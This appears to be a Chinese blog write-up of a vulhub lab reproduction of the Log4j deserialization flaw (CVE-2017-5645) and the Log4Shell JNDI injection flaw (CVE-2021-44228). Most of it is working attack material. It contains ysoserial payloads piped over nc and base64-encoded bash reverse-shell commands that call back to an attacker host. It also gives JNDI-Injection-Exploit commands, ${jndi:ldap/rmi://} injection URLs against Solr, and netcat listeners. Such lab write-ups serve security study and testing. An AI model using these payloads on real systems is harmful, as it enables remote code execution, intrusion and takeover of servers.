Log4j反序列化命令执行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

一.Log4j反序列化命令执行漏洞(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码

环境:vulhub
工具下载地址:
ysoserial

利用工具生成payload:

#创建文件
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/test" | nc 192.168.85.128 4712

#反弹shell
#把 bash -i >& /dev/tcp/192.168.85.129/4466 0>&1进行base64编码
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC44NS4xMjkvNDQ2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.85.128 4712

1.创建文件 进入容器内部,查看文件创建成功

docker ps
docker exec -it 19bdcb0184e1 /bin/bash
cd /tmp 
ls

2.查看反弹的shell
有点问题没反弹成功,应该是这样做的

nc -lvvp 4466

​二.Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码

环境:vulhub
工具下载地址:
JNDI-Injection-Exploit
1.利用dnslog平台检测是否有漏洞

后面换成dnslong平台的域名
http://192.168.85.128:8983/solr/admin/cores?action=${jndi:ldap://yahs0y.dnslog.cn}

Log4j反序列化命令执行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)_第1张图片
2.利用工具反弹shell
(1)使用工具生成payload

1.把bash -i >& /dev/tcp/192.168.85.129/4444 0>&1进行base64编码 填入echo后,-A参数后填入攻击机的ip
2.利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg1LjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.85.129

(2)选用一个作为url action后的payload,访问此url
Log4j反序列化命令执行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)_第2张图片这里选用第一个,下面的url访问

http://192.168.85.128:8983/solr/admin/cores?action=${jndi:rmi://192.168.85.129:1099/itx5mr}

(3)攻击机开启监听

nc -lvvp 4444

Log4j反序列化命令执行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)_第3张图片

参考文章:
CVE-2021-44228

你可能感兴趣的:(中间件&框架漏洞复现,log4j,apache)